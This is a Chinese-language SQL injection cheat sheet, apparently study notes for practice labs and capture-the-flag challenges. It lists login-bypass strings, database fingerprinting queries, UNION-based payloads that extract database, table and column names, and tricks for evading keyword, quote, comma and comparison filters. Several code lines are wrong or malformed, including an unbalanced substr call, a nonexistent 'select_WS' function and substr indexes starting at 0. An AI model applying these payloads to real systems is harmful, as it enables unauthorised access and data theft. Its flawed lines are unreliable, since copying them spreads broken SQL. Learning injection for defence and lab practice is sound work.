SQL注入总结

0x00 SQL注入原理与分类

原理

SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。比如查询、删除,增加,修改数据等等,如果数据库的用户权限足够大,还可以对操作系统执行操作。

分类

1

按照参数类型可分为两种:数字型和字符型。
当发生注入点的参数为整数时,比如 ID,num,page等,这种形式的就属于数字型注入漏洞。同样,当注入点是字符串时,则称为字符型注入,字符型注入需要引号来闭合。

2

根据数据库返回的结果,分为回显注入、报错注入、盲注。

回显注入:可以直接在存在注入点的当前页面中获取返回结果。

报错注入:程序将数据库的返回错误信息直接显示在页面中,虽然没有返回数据库的查询结果,但是可以构造一些报错语句从错误信息中获取想要的结果。

盲注:程序后端屏蔽了数据库的错误信息,没有直接显示结果也没有报错信息,只能通过数据库的逻辑和延时函数来判断注入的结果。根据表现形式的不同,盲注又分为based boolean和based time两种类型。

3

按照注入位置及方式不同分为:post注入,get注入,cookie注入,盲注,延时注入,搜索注入,base64注入

0X01 注入常见参数

user():当前数据库用户
database():当前数据库名
version():当前使用的数据库版本
@@datadir:数据库存储数据路径
concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
concat_ws():用法类似
hex() 和 unhex():用于 hex 编码解码
load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
select xxoo into outfile '路径':权限较高时可直接写文件

0x02 后台万能密码

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

0x03 Mysql相关知识

MySQL数据库的特有的表是 information_schema.tables , access数据库特有的表是 msysobjects 、SQLServer 数据库特有的表是 sysobjects 。那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库

1
2
3
4
5
6
7
8
//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #

//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #

//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #

对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

mysql中注释符:# 、/**/ 、 –
information_schema数据库中三个很重要的表:

• information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名

• information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名

• information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名

常用函数

ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii(“a”)=97

length(str) : 返回给定字符串的长度,如 length(“string”)=6

substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=”in”

substr()、stbstring()、mid() 三个函数的用法、功能均一致

concat(username):将查询到的username连在一起,默认用逗号分隔

concat(str1,’‘,str2):将字符串str1和str2的数据查询到一起,中间用连接
group_concat(username) :将username数据查询在一起,用逗号连接

limit 0,1:查询第1个数
limit 1,1: 查询第2个数
limit n,1: 查询第n+1个数

CONV(n,from_radix,to_radix):用于将n从from_radix进制转到to_radix进制

0x04 判断是否存在SQL注入

1.可以用网站漏洞扫描工具进行扫描,常见的网站漏洞扫描工具有 AWVS、AppScan、OWASP-ZAP、Nessus 等。

2.先加单引号、双引号、单括号、双括号等看看是否报错,如果报错就肯定存在SQL注入漏洞了。
还有在URL后面加and 1=1 、 and 1=2看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。

0x05 获取数据库名

1
2
3
4
5
SELECT database();
SELECT schema_name FROM information_schema.schemata;
id=1' union select 1,database() #;
admin_name=1" union select database(),2%23;
id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,database()%23;

0x06 获取表名

1
2
3
4
union select table_name from information_schema.tables where table_schema=database(); 
admin_name=1" union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),2%23;
union select 1,table_name from information_schema.tables where table_schema=' ';
?id=-1' ununionion seselectlect 1, group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() #;

0x07 获取列名

1
2
3
4
5
union select group_concat(column_name) from information_schema.columns where table_name = 'tablename';
admin_name=1" union select (select column_name from information_schema.columns where table_name='flag1'),2%23;
?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' %23;
union select 1,column_name from information_schema.columns where table_schema=' ' and table_name=' ';
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467# //这里需要用16进制绕过

0x08 查询结果

1
2
3
?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1 %23;
admin_name=1" union select (select flag1 from flag1),2%23;
d=-1' union select 1,2,3,skctf_flag from fl4g#;

0x09 常用的绕过

绕过引号限制
1
2
3
4
5
6
7
hex 编码

select * from users where username = 0x61646D696E

char() 函数

select * from users where username = char(97, 100, 109, 105, 110)
绕过字符串黑名单
1
2
3
4
select 'a' 'd' 'mi' 'n';
select concat('a', 'd', 'm', 'i', 'n');
select select_WS('', 'a', 'd', 'm', 'i', 'n');
select group_concat('a', 'd', 'm', 'i', 'n');
绕过逗号

substr(),mid(),limit这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。

1
2
3
4
5
6
select substr(database(0 from 1 for 1);
select mid(database(0 from 1 for 1);

select * from news limit 0,1;
# 等价于下面这条SQL语句
select * from news limit 1 offset 0;
比较符(<,>)绕过

使用二分查找的时候需要使用到比较操作符来进行查找。
需要使用到greatest来进行绕过

1
select * from users where id=1 and ascii(substr(database(),0,1))>64;

如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符。
greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。

1
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

0x10 常用sql语句

1
2
3
4
5
6
7
8
9
10
11
选择:select * from table1 where 范围 
插入:insert into table1(field1,field2) values(value1,value2)
删除:delete from table1 where 范围
更新:update table1 set field1=value1 where 范围
查找:select * from table1 where field1 like '%value1%'
排序:select * from table1 order by field1,field2 [desc]
总数:select count as totalcount from table1
求和:select sum(field1) as sumvalue from table1
平均:select avg(field1) as avgvalue from table1
最大:select max(field1) as maxvalue from table1
最小:select min(field1) as minvalue from table1
1
2
3
4
5
6
7
8
9
10
11
UNION 运算符 
UNION 运算符通过组合其他两个结果表(例如 TABLE1 和 TABLE2)并消去表中任何重复行而派生
出一个结果表。当 ALL 随 UNION 一起使用时(即 UNION ALL),不消除重复行。两种情况下,派
生表的每一行不是来自 TABLE1 就是来自 TABLE2。
EXCEPT 运算符
EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个
结果表。当 ALL 随 EXCEPT 一起使用时 (EXCEPT ALL),不消除重复行。
INTERSECT 运算符
INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果
表。当 ALL 随 INTERSECT 一起使用时 (INTERSECT ALL),不消除重复行。
注:使用运算词的几个查询结果行必须是一致的。
-------------本文结束感谢您的阅读-------------
/*
*/